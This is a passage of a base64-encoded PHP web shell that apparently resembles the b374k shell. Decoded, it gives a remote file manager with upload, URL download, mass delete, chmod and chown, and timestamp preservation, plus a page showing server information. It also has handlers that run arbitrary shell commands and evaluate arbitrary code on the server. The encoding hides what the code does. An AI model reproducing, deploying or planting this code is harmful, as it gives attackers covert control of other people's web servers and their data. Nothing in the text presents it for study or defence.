b3ZlX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSwgJG5ld2ZpbGUpKXsgJHJlcyA9ICI8c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJG5ld2ZpbGUpLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIjwvYT4mbmJzcDsoIDEwMCUgKSI7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyB9IGVsc2VpZigkcFsndWxUeXBlJ109PSd1cmwnKXsgJHVsRmlsZSA9IHRyaW0oJHBbJ3VsRmlsZSddKTsgaWYoZW1wdHkoJHVsRmlsZW5hbWUpKSAkdWxGaWxlbmFtZSA9IGJhc2VuYW1lKCR1bEZpbGUpOyBpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7ICRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOyBpZihkb3dubG9hZCgkdWxGaWxlLCAkbmV3ZmlsZSkpeyAkcmVzID0gIjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIicgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnPiIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iPC9hPiZuYnNwOyggMTAwJSApIjsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2Rvd25sb2FkJ10pKXsgJGZpbGUgPSB0cmltKCRwWydkb3dubG9hZCddKTsgaWYoaXNfZmlsZSgkZmlsZSkpeyBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IGhlYWRlcignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5Jyk7IGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOyBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJGZpbGUpLiJcIjsiKTsgJGhhbmRsZXIgPSBmb3BlbigkZmlsZSwicmIiKTsgd2hpbGUoIWZlb2YoJGhhbmRsZXIpKXsgcHJpbnQoZnJlYWQoJGhhbmRsZXIsIDEwMjQqOCkpOyBAb2JfZmx1c2goKTsgQGZsdXNoKCk7IH0gZmNsb3NlKCRoYW5kbGVyKTsgZGllKCk7IH0KfQplbHNlaWYoaXNzZXQoJHBbJ211bHRpbWVkaWEnXSkpeyAkZmlsZSA9IHRyaW0oJHBbJ211bHRpbWVkaWEnXSk7ICRtaW1lX2xpc3QgPSBnZXRfcmVzb3VyY2UoJ21pbWUnKTsgJG1pbWUgPSAiIjsgJGZpbGVfZXh0X3BvcyA9IHN0cnJwb3MoJGZpbGUsICIuIik7IGlmKCRmaWxlX2V4dF9wb3MhPT1mYWxzZSl7ICRmaWxlX2V4dCA9IHRyaW0oc3Vic3RyKCRmaWxlLCAkZmlsZV9leHRfcG9zKSwiLiIpOyBpZihwcmVnX21hdGNoKCIvKFteXHNdKylcIC4qXGIiLiRmaWxlX2V4dC4iXGIuKi9pIiwgJG1pbWVfbGlzdCwgJHJlcykpeyAkbWltZSA9ICRyZXNbMV07IH0gfSBpZihpc19maWxlKCRmaWxlKSl7IGhlYWRlcigiQ29udGVudC1UeXBlOiAiLiRtaW1lKTsgaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnknKTsgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5maWxlc2l6ZSgkZmlsZSkpOyBlY2hvICJkYXRhOiIuJG1pbWUuIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpOyBkaWUoKTsgfQp9CmVsc2VpZihpc3NldCgkcFsnbWFzc1R5cGUnXSkmJmlzc2V0KCRwWydtYXNzQnVmZmVyJ10pJiZpc3NldCgkcFsnbWFzc1BhdGgnXSkmJmlzc2V0KCRwWydtYXNzVmFsdWUnXSkpeyAkbWFzc1R5cGUgPSB0cmltKCRwWydtYXNzVHlwZSddKTsgJG1hc3NCdWZmZXIgPSB0cmltKCRwWydtYXNzQnVmZmVyJ10pOyAkbWFzc1BhdGggPSByZWFscGF0aCgkcFsnbWFzc1BhdGgnXSkuRElSRUNUT1JZX1NFUEFSQVRPUjsgJG1hc3NWYWx1ZSA9IHRyaW0oJHBbJ21hc3NWYWx1ZSddKTsgJGNvdW50ZXIgPSAwOyAkbWFzc0J1ZmZlckFyciA9IGV4cGxvZGUoIlxuIiwgJG1hc3NCdWZmZXIpOyBpZigoJG1hc3NUeXBlPT0ndGFyJyl8fCgkbWFzc1R5cGU9PSd0YXJneicpfHwoJG1hc3NUeXBlPT0nemlwJykpeyBpZihjb21wcmVzcygkbWFzc1R5cGUsICRtYXNzVmFsdWUsICRtYXNzQnVmZmVyQXJyKSl7ICRjb3VudGVyKys7IHJldHVybiAkY291bnRlcjsgfSB9IGVsc2V7IGZvcmVhY2goJG1hc3NCdWZmZXJBcnIgYXMgJGspeyAkcGF0aCA9IHRyaW0oJGspOyBpZihmaWxlX2V4aXN0cygkcGF0aCkpeyAkcHJlc2VydmVUaW1lc3RhbXAgPSBmaWxlbXRpbWUoJHBhdGgpOyBpZigkbWFzc1R5cGU9PSdkZWxldGUnKXsgaWYoaXNfZmlsZSgkcGF0aCkpeyBpZih1bmxpbmsoJHBhdGgpKSAkY291bnRlcisrOyB9IGVsc2VpZihpc19kaXIoJHBhdGgpKXsgaWYocm1kaXJzKCRwYXRoKT4wKSAkY291bnRlcisrOyB9IH0gZWxzZWlmKCRtYXNzVHlwZT09J2N1dCcpeyAkZGVzdCA9ICRtYXNzUGF0aC5iYXNlbmFtZSgkcGF0aCk7IGlmKHJlbmFtZSgkcGF0aCwgJGRlc3QpKXsgJGNvdW50ZXIrKzsgdG91Y2goJGRlc3QsICRwcmVzZXJ2ZVRpbWVzdGFtcCk7IH0gfSBlbHNlaWYoJG1hc3NUeXBlPT0nY29weScpeyAkZGVzdCA9ICRtYXNzUGF0aC5iYXNlbmFtZSgkcGF0aCk7IGlmKGlzX2RpcigkcGF0aCkpeyBpZihjb3B5cygkcGF0aCwgJGRlc3QpPjApICRjb3VudGVyKys7IH0gZWxzZWlmKGlzX2ZpbGUoJHBhdGgpKXsgaWYoY29weSgkcGF0aCwgJGRlc3QpKSAkY291bnRlcisrOyB9IH0gZWxzZWlmKCgkbWFzc1R5cGU9PSd1bnRhcicpfHwoJG1hc3NUeXBlPT0ndW50YXJneicpfHwoJG1hc3NUeXBlPT0ndW56aXAnKSl7IGlmKGRlY29tcHJlc3MoJG1hc3NUeXBlLCAkcGF0aCwgJG1hc3NWYWx1ZSkpeyAkY291bnRlcisrOyByZXR1cm4gJGNvdW50ZXI7IH0gfSBlbHNlaWYoIWVtcHR5KCRtYXNzVmFsdWUpKXsgaWYoJG1hc3NUeXBlPT0nY2htb2QnKXsgaWYoY2htb2QoJHBhdGgsIG9jdGRlYygkbWFzc1ZhbHVlKSkpICRjb3VudGVyKys7IH0gZWxzZWlmKCRtYXNzVHlwZT09J2Nob3duJyl7IGlmKGNob3duKCRwYXRoLCAkbWFzc1ZhbHVlKSkgJGNvdW50ZXIrKzsgfSBlbHNlaWYoJG1hc3NUeXBlPT0ndG91Y2gnKXsgaWYodG91Y2goJHBhdGgsIHN0cnRvdGltZSgkbWFzc1ZhbHVlKSkpICRjb3VudGVyKys7IH0gfSB9IH0gfSBpZigkY291bnRlcj4wKSBvdXRwdXQoJGNvdW50ZXIpOyBvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd2aWV3RmlsZW9yRm9sZGVyJ10pKXsgJGVudHJ5ID0gJHBbJ3ZpZXdGaWxlb3JGb2xkZXInXTsgaWYoaXNfZmlsZSgkZW50cnkpKSBvdXRwdXQoJ2ZpbGUnKTsgZWxzZWlmKGlzX2RpcigkZW50cnkpKSBvdXRwdXQoJ2ZvbGRlcicpOyBvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd0ZXJtaW5hbElucHV0J10pKXsgb3V0cHV0KGh0bWxfc2FmZShleGVjdXRlKCRwWyd0ZXJtaW5hbElucHV0J10pKSk7Cn0KZWxzZWlmKGlzc2V0KCRwWydldmFsSW5wdXQnXSkgJiYgaXNzZXQoJHBbJ2V2YWxUeXBlJ10pKXsgJGV2YWxJbnB1dCA9ICRwWydldmFsSW5wdXQnXTsgJGV2YWxPcHRpb25zID0gKGlzc2V0KCRwWydldmFsT3B0aW9ucyddKSk/ICRwWydldmFsT3B0aW9ucyddOiIiOyAkZXZhbEFyZ3VtZW50cyA9IChpc3NldCgkcFsnZXZhbEFyZ3VtZW50cyddKSk/ICRwWydldmFsQXJndW1lbnRzJ106IiI7ICRldmFsVHlwZSA9ICRwWydldmFsVHlwZSddOyBlcnJvcl9yZXBvcnRpbmcoRV9FUlJPUiB8IEVfV0FSTklORyB8IEVfUEFSU0UgfCBFX05PVElDRSk7IEBpbmlfc2V0KCdodG1sX2Vycm9ycycsJzAnKTsgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnMScpOyBAaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsJzEnKTsgJHJlcyA9IGV2YWxfZ28oJGV2YWxUeXBlLCAkZXZhbElucHV0LCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKTsgaWYoJHJlcz09PWZhbHNlKSAkcmVzID09ICJlcnJvciI7IG91dHB1dChodG1sX3NhZmUoJHJlcykpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbEdldFN1cHBvcnRlZCddKSl7ICRyZXMgPSBldmFsX2dldF9zdXBwb3J0ZWQoKTsgb3V0cHV0KCRyZXMpOwp9CiRlcnJvciA9IEBvYl9nZXRfY29udGVudHMoKTsKJGVycm9yX2h0bWwgPSAoIWVtcHR5KCRlcnJvcikpPyI8cHJlIGNsYXNzPSdwaHBFcnJvciBib3JkZXInPiIuc3RyX3JlcGxhY2UoIlxuXG4iLCAiXG4iLCBodG1sX3NhZmUoJGVycm9yKSkuIjwvcHJlPiI6IiI7CkBvYl9lbmRfY2xlYW4oKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7Pz4KPCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gJEdMT0JBTFNbJ3RpdGxlJ10uIiAiLiRHTE9CQUxTWyd2ZXInXTs/PjwvdGl0bGU+CjxtZXRhIGNoYXJzZXQ9J3V0Zi04Jz4KPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlJz4KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAiPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpAZm9udC1mYWNlIHsKZm9udC13ZWlnaHQ6IG5vcm1hbDsKZm9udC1zdHlsZTogbm9ybWFsO30qewpmb250LWZhbWlseTp1YnVudHVtb25vOwptYXJnaW46MDsKcGFkZGluZzowOwpib3JkZXI6MDsKLXdlYmtpdC1ib3gtc2l6aW5nOmJvcmRlci1ib3g7Ci1tb3otYm94LXNpemluZzpib3JkZXItYm94Owpib3gtc2l6aW5nOmJvcmRlci1ib3g7CmZvbnQtc2l6ZToxMnB4Owpmb250LXdlaWdodDpub3JtYWw7fWlucHV0OmZvY3VzLCBzZWxlY3Q6Zm9jdXMsIHRleHRhcmVhOmZvY3VzLCBidXR0b246Zm9jdXN7Cm91dGxpbmU6bm9uZTt9aHRtbCwgYm9keXsKd2lkdGg6MTAwJTsKaGVpZ2h0OjEwMCU7CmNvbG9yOiMzMzMzMzM7fWJvZHl7CmJhY2tncm91bmQ6I2ZmZmZmZjt9YXsKdGV4dC1kZWNvcmF0aW9uOm5vbmU7CmNvbG9yOiMyMjIyMjI7fWE6aG92ZXJ7CmN1cnNvcjpwb2ludGVyO31wewpwYWRkaW5nOjhweCAwO31pbWd7CnZlcnRpY2FsLWFsaWduOm1pZGRsZTt9dGFibGV7CndpZHRoOjEwMCU7fXRhYmxlIHRkLCB0YWJsZSB0aHsKdmVydGljYWwtYWxpZ246bWlkZGxlOwpwYWRkaW5nOjhweDt9dGV4dGFyZWEsIGlucHV0LCBzZWxlY3R7CmJhY2tncm91bmQ6I2Q4ZGVlYTsKcGFkZGluZzo4cHg7CmJvcmRlci1yYWRpdXM6OHB4Owpjb2xvcjojM2I1OTk4O310ZXh0YXJlYXsKcmVzaXplOnZlcnRpY2FsOwp3aWR0aDoxMDAlOwpoZWlnaHQ6MzAwcHg7Cm1pbi1oZWlnaHQ6MzAwcHg7Cm1heC13aWR0aDoxMDAlOwptaW4td2lkdGg6MTAwJTt9aHJ7Cm1hcmdpbjo4cHggMDsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNlMGUwZjA7fXZpZGVvewp3aWR0aDo1MCU7CmJhY2tncm91bmQ6I2UwZTBmMDsKYm9yZGVyLXJhZGl1czo4cHg7fWgxLCBoMnsKYmFja2dyb3VuZDojZTBlMGYwOwpib3JkZXItcmFkaXVzOjhweDsKdGV4dC1hbGlnbjpjZW50ZXI7CnBhZGRpbmc6OHB4OwptYXJnaW4tYm90dG9tOjhweDt9cHJlLCAjdmlld0ZpbGVjb250ZW50ewp3b3JkLWJyZWFrOmJyZWFrLWFsbDsKd29yZC13cmFwOmJyZWFrLXdvcmQ7fXByZXsKd2hpdGUtc3BhY2U6cHJlLXdyYXA7fSNudWxsc3sKY3Vyc29yOnBvaW50ZXI7fSNoZWFkZXJ7CndpZHRoOjEwMCU7CnBvc2l0aW9uOmZpeGVkO30jaGVhZGVyTmF2ewpwYWRkaW5nOjEwcHggOHB4IDZweCA4cHg7CmJhY2tncm91bmQ6IzQ3NjQ5ZTt9I2hlYWRlck5hdiBhewpjb2xvcjojREVFNUY1O30jaGVhZGVyTmF2IGltZ3sKbWFyZ2luOjAgNHB4O30jbWVudXsKYmFja2dyb3VuZDojZDhkZWVhOwpoZWlnaHQ6MjZweDt9I21lbnUgLm1lbnVpdGVtewpwYWRkaW5nOjdweCAxMnB4IDZweCAxMnB4OwpmbG9hdDpsZWZ0OwpoZWlnaHQ6MjZweDsKYmFja2dyb3VuZDojZDhkZWVhOwpjb2xvcjojM2I1OTk4OwpjdXJzb3I6cG9pbnRlcjsKdGV4dC1zaGFkb3c6MXB4IDFweCAxcHggI2NjY2NjYzt9I21lbnUgLm1lbnVpdGVtOmhvdmVyLCAjbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKYmFja2dyb3VuZDojZmZmZmZmOwpjb2xvcjojMjIyMjIyOwpib3JkZXItcmFkaXVzOjhweCA4cHggMCAwO30jbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKYmFja2dyb3VuZDojZmZmZmZmO30jYmFzaWNJbmZvewp3aWR0aDoxMDAlOwpwYWRkaW5nOjhweDsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2UwZTBmMDt9I2NvbnRlbnR7CndpZHRoOjEwMCU7CmhlaWdodDoxMDAlOwpwYWRkaW5nOjYycHggNHB4IDEwcHggNHB4O30jY29udGVudCAubWVudWNvbnRlbnR7CmNsZWFyOmJvdGg7CmRpc3BsYXk6bm9uZTsKcGFkZGluZzo4cHg7fSNvdmVybGF5ewpwb3NpdGlvbjpmaXhlZDsKdG9wOjBweDsKbGVmdDowcHg7CndpZHRoOjEwMCU7CmhlaWdodDoxMDAlOwpkaXNwbGF5Om5vbmU7fSNsb2FkaW5newp3aWR0aDo2NHB4OwpoZWlnaHQ6NjRweDsKYmFja2dyb3VuZDojMDAwMDAwOwpib3JkZXItcmFkaXVzOjMycHggMCAzMnB4IDA7Cm1hcmdpbjphdXRvOwp2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7CmJveC1zaGFkb3c6MCAwIDE2cHggIzAwMDt9I3VsRHJhZ05Ecm9wewpwYWRkaW5nOjMycHggMDsKdGV4dC1hbGlnbjpjZW50ZXI7CmJhY2tncm91bmQ6I2UwZTBmMDsKYm9yZGVyLXJhZGl1czo4cHg7fSNmb3JtewpkaXNwbGF5Om5vbmU7fS5ib3h7Cm1pbi13aWR0aDo1MCU7CmJvcmRlcjoxcHggc29saWQgI2UwZTBmMDsKcGFkZGluZzo4cHggOHB4IDAgOHB4Owpib3JkZXItcmFkaXVzOjhweDsKcG9zaXRpb246Zml4ZWQ7CmJhY2tncm91bmQ6I2ZmZmZmZjsKb3BhY2l0eToxOwpib3gtc2hhZG93OjFweCAxcHggMjVweCAjMTUwZjBmOwpvcGFjaXR5OjAuOTg7fS5ib3h0aXRsZXsKYmFja2dyb3VuZDojM2I1OTk4Owpjb2xvcjojREVFNUY1Owpib3JkZXItcmFkaXVzOjhweDsKdGV4dC1hbGlnbjpjZW50ZXI7CmN1cnNvcjpwb2ludGVyOwp0ZXh0LXNoYWRvdzoxcHggMXB4IDFweCAjMzMzMzMzO30uYm94dGl0bGUgYSwgLmJveHRpdGxlIGE6aG92ZXJ7CmNvbG9yOiNERUU1RjU7CnRleHQtc2hhZG93OjFweCAxcHggMXB4ICMzMzMzMzM7fS5ib3hjb250ZW50ewpwYWRkaW5nOjJweCAwIDJweCAwO30uYm94cmVzdWx0ewpwYWRkaW5nOjRweCAxMHB4IDZweCAxMHB4Owpib3JkZXItdG9wOjFweCBzb2xpZCAjZTBlMGYwOwptYXJnaW4tdG9wOjRweDsKdGV4dC1hbGlnbjpjZW50ZXI7fS5ib3h0Ymx7CmJvcmRlcjoxcHggc29saWQgI2UwZTBmMDsKYm9yZGVyLXJhZGl1czo4cHg7CnBhZGRpbmctYm90dG9tOjhweDt9LmJveHRibCB0ZHsKdmVydGljYWwtYWxpZ246bWlkZGxlOwpwYWRkaW5nOjhweCAxNXB4Owpib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2UwZTBmMDt9LmJveHRibCBpbnB1dCwgLmJveHRibCBzZWxlY3QsIC5ib3h0YmwgLmJ1dHRvbnsKd2lkdGg6MTAwJTt9LmJveGxhYmVsewp0ZXh0LWFsaWduOiBjZW50ZXI7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICNlMGUwZjA7CnBhZGRpbmctYm90dG9tOjhweDt9LmJveGNsb3Nlewpib3JkZXI6MXB4IHNvbGlkICM4Qzk4QjQ7CmJvcmRlci1yYWRpdXM6M3B4OwptYXJnaW4tcmlnaHQ6OHB4OwptYXJnaW4tdG9wOi0ycHg7CnBhZGRpbmc6MnB4IDhweDsKY3Vyc29yOnBvaW50ZXI7fS5zdHJvbmd7CmNvbG9yOiMzYjU5OTg7fS53ZWFrewpjb2xvcjojMjIyMjIyO30uYnV0dG9uewptaW4td2lkdGg6MTIwcHg7CndpZHRoOjEyMHB4OwptYXJnaW46MnB4IDA7CnBhZGRpbmc6OHB4OwpiYWNrZ3JvdW5kOiNkOGRlZWE7CmNvbG9yOiMzYjU5OTg7CmJvcmRlci1yYWRpdXM6OHB4OwpkaXNwbGF5OmJsb2NrOwp0ZXh0LWFsaWduOmNlbnRlcjsKZmxvYXQ6bGVmdDsKY3Vyc29yOnBvaW50ZXI7fS5idXR0b246aG92ZXIsICN1bERyYWdORHJvcDpob3ZlcnsKYm94LXNoYWRvdzoxcHggMXB4IDVweCAjZmZmZmZmOwpiYWNrZ3JvdW5kOiM0NzY0OWU7CmNvbG9yOiNERUU1RjU7fS5mbG9hdExlZnR7CmZsb2F0OmxlZnQ7fS5mbG9hdFJpZ2h0ewpmbG9hdDpyaWdodDt9LmNvbEZpdHsKd2lkdGg6MXB4Owp3aGl0ZS1zcGFjZTpub3dyYXA7fS5jb2xTcGFuewp3aWR0aDoxMDAlO30uYm9yZGVyewpib3JkZXI6MXB4IHNvbGlkICNlMGUwZjA7CmJvcmRlci1yYWRpdXM6OHB4OwpwYWRkaW5nOjhweDt9LmJvcmRlcmJvdHRvbXsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNlMGUwZjA7fS5ib3JkZXJyaWdodHsKYm9yZGVyLXJpZ2h0OjFweCBkYXNoZWQgI2UwZTBmMDt9LmJvcmRlcmxlZnR7CmJvcmRlci1sZWZ0OjFweCBkYXNoZWQgI2UwZTBmMDt9LmhyIHRkewpib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2UwZTBmMDt9LmNCb3gsIC5jQm94QWxsewp3aWR0aDoxMHB4OwpoZWlnaHQ6MTBweDsKYm9yZGVyOjFweCBzb2xpZCAjM2I1OTk4Owpib3JkZXItcmFkaXVzOjVweDsKbWFyZ2luOmF1dG87CmZsb2F0OmxlZnQ7Cm1hcmdpbjoycHggNnB4OwpjdXJzb3I6cG9pbnRlcjt9LmNCb3hTZWxlY3RlZHsKYmFja2dyb3VuZDojM2I1OTk4O30uYWN0aW9uLCAuYWN0aW9uZm9sZGVyLCAuYWN0aW9uZG90ewpjdXJzb3I6cG9pbnRlcjt9LnBocEVycm9yewpwYWRkaW5nOjhweDsKbWFyZ2luOjhweCAwOwp0ZXh0LWFsaWduOmNlbnRlcjt9LmRhdGFWaWV3IHRkLCAuZGF0YVZpZXcgdGgsICN2aWV3RmlsZSB0ZHsKdmVydGljYWwtYWxpZ246dG9wOwp0ZXh0LWFsaWduOmNlbnRlcjsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNlMGUwZjA7fS5kYXRhVmlldyB0aHsKYm9yZGVyLWJvdHRvbTpub25lO30uZGF0YVZpZXcgdGJvZHkgdHI6aG92ZXJ7CmJhY2tncm91bmQ6I2Q4ZGVlYTt9LmRhdGFWaWV3IHRoewpiYWNrZ3JvdW5kOiNkOGRlZWE7CnZlcnRpY2FsLWFsaWduOm1pZGRsZTt9LmRhdGFWaWV3IHRmb290IHRkewp2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fS5kYXRhVmlldyAuY29sLWNib3h7CndpZHRoOjIwcHg7fS5kYXRhVmlldyAuY29sLW5hbWUsIC5kYXRhVmlldyB0cj50ZDpudGgtY2hpbGQoMil7CnRleHQtYWxpZ246bGVmdDt9LmRhdGFWaWV3IC5jb2wtc2l6ZSwgLmRhdGFWaWV3IHRyPnRkOm50aC1jaGlsZCgzKXsKd2lkdGg6NzBweDsKdGV4dC1hbGlnbjpsZWZ0O30uZGF0YVZpZXcgLmNvbC1vd25lcnsKd2lkdGg6MTQwcHg7Cm1pbi13aWR0aDoxNDBweDt9LmRhdGFWaWV3IC5jb2wtcGVybXN7CndpZHRoOjgwcHg7fS5kYXRhVmlldyAuY29sLW1vZGlmaWVkewp3aWR0aDoxNTBweDt9LnNvcnRhYmxlIHRoewpjdXJzb3I6cG9pbnRlcjt9I3ZpZXdGaWxlIHRkewp0ZXh0LWFsaWduOmxlZnQ7fSN2aWV3RmlsZWNvbnRlbnR7CnBhZGRpbmc6OHB4Owpib3JkZXI6MXB4IHNvbGlkICNlMGUwZjA7CmJvcmRlci1yYWRpdXM6OHB4O30jdGVybWluYWxQcm9tcHQgdGR7CnBhZGRpbmc6MDt9I3Rlcm1pbmFsSW5wdXR7CmJhY2tncm91bmQ6bm9uZTsKcGFkZGluZzowOwp3aWR0aDoxMDAlO30jZXZhbEFkZGl0aW9uYWx7CmRpc3BsYXk6bm9uZTt9LmhsX2RlZmF1bHR7CmNvbG9yOiM0MDg0OTQ7fS5obF9rZXl3b3Jkewpjb2xvcjojQ0E2QjEzO30uaGxfc3RyaW5newpjb2xvcjojMUYxNTA2O30uaGxfaHRtbHsKY29sb3I6IzIyMjIyMjt9LmhsX2NvbW1lbnR7CmNvbG9yOiNGRjcwMDA7fSNuYXZpZ2F0aW9ue3Bvc2l0aW9uOmZpeGVkO2xlZnQ6LTE2cHg7dG9wOjQ2JTt9I3RvdG9wLCN0b2JvdHRvbSwjdG9nZ2xlQmFzaWNJbmZve2JhY2tncm91bmQ6dXJsKCc8P3BocCBlY2hvIGdldF9yZXNvdXJjZSgnYXJyb3cnKTs/PicpO3dpZHRoOjMycHg7aGVpZ2h0OjMycHg7b3BhY2l0eTowLjMwO21hcmdpbjoxOHB4IDA7Y3Vyc29yOnBvaW50ZXI7fSN0b3RvcDpob3ZlciwjdG9ib3R0b206aG92ZXJ7b3BhY2l0eTowLjgwO30jdG9nZ2xlQmFzaWNJbmZve2Rpc3BsYXk6bm9uZTtmbG9hdDpyaWdodDttYXJnaW46MDt9I2Jhc2ljSW5mb1NwbGl0dGVye2Rpc3BsYXk6bm9uZTt9I3RvYm90dG9tey13ZWJraXQtdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW1vei10cmFuc2Zvcm06c2NhbGVZKC0xKTstby10cmFuc2Zvcm06c2NhbGVZKC0xKTt0cmFuc2Zvcm06c2NhbGVZKC0xKTtmaWx0ZXI6RmxpcFY7LW1zLWZpbHRlcjoiRmxpcFYiO30jc2hvd2luZm97ZmxvYXQ6cmlnaHQ7ZGlzcGxheTpub25lO30jbG9nb3V0e2Zsb2F0OnJpZ2h0O30uZ2l0X2FsZXJ0e2ZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjojZWY3OTNlOyBmb250LXNpemU6IDE2cHg7fTwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjwhLS13cmFwcGVyIHN0YXJ0LS0+CjxkaXYgaWQ9J3dyYXBwZXInPgo8IS0taGVhZGVyIHN0YXJ0LS0+CjxkaXYgaWQ9J2hlYWRlcic+CjwhLS1oZWFkZXIgaW5mbyBzdGFydC0tPgo8ZGl2IGlkPSdoZWFkZXJOYXYnPgo8c3Bhbj48YSBvbmNsaWNrPSJzZXRfY29va2llKCdjd2QnLCAnJyk7IiBocmVmPSc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+Jz48P3BocCBlY2hvICRHTE9CQUxTWyd0aXRsZSddLiIgIi4kR0xPQkFMU1sndmVyJ10/PjwvYT48L3NwYW4+CjxpbWcgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcigpOycgaWQ9J251bGxzJyBzcmM9Jzw/cGhwIGVjaG8gZ2V0X3Jlc291cmNlKCdudWxscycpOz8+JyAvPiZuYnNwOzxzcGFuIGlkPSduYXYnPjw/cGhwIGVjaG8gJG5hdjsgPz48L3NwYW4+PGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nbG9nb3V0JyB0aXRsZT0nbG9nIG91dCc+eDwvYT4KPGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nc2hvd2luZm8nIHRpdGxlPSdzaG93IGluZm8nPnY8L2E+CjwvZGl2Pgo8IS0taGVhZGVyIGluZm8gZW5kLS0+PCEtLW1lbnUgc3RhcnQtLT4KPGRpdiBpZD0nbWVudSc+Cjw/cGhwCmZvcmVhY2goJEdMT0JBTFNbJ20nXSBhcyAkayl7CmVjaG8gIjxhIGNsYXNzPSdtZW51aXRlbScgaWQ9J21lbnUiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIicgaHJlZj0nIyEiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIic+Ii4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWyd0aXRsZSddLiI8L2E+Ijt9Pz4KPC9kaXY+CjwhLS1tZW51IGVuZC0tPjwvZGl2Pgo8IS0taGVhZGVyIGVuZC0tPjwhLS1jb250ZW50IHN0YXJ0LS0+CjxkaXYgaWQ9J2NvbnRlbnQnPgo8IS0tc2VydmVyIGluZm8gc3RhcnQtLT4KPGRpdiBpZD0nYmFzaWNJbmZvJz4KPGRpdiBpZD0ndG9nZ2xlQmFzaWNJbmZvJz48L2Rpdj4KPD9waHAKZWNobyAkZXJyb3JfaHRtbDsKZm9yZWFjaChnZXRfc2VydmVyX2luZm8oKSBhcyAkaz0+JHYpCnsKZWNobyAiPGRpdj4iLiR2LiI8L2Rpdj4iOwp9Cj8+CjwvZGl2Pgo8IS0tc2VydmVyIGluZm8gZW5kLS0+PD9waHAKZm9yZWFjaCgkR0xPQkFMU1snbSddIGFzICRrKXsKJGNvbnRlbnQgPSAkR0xPQkFMU1snbW9kdWxlJ11bJGtdWydjb250ZW50J107CmVjaG8gIjxkaXYgY2xhc3M9J21lbnVjb250ZW50JyBpZD0nIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInPiIuJGNvbnRlbnQuIjwvZGl2PiI7fT8+CjwvZGl2Pgo8IS0tY29udGVudCBlbmQtLT48L2Rpdj4KPCEtLXdyYXBwZXIgZW5kLS0+CjxkaXYgaWQ9J25hdmlnYXRpb24nPgo8ZGl2IGlkPSd0b3RvcCc+PC9kaXY+CjxkaXY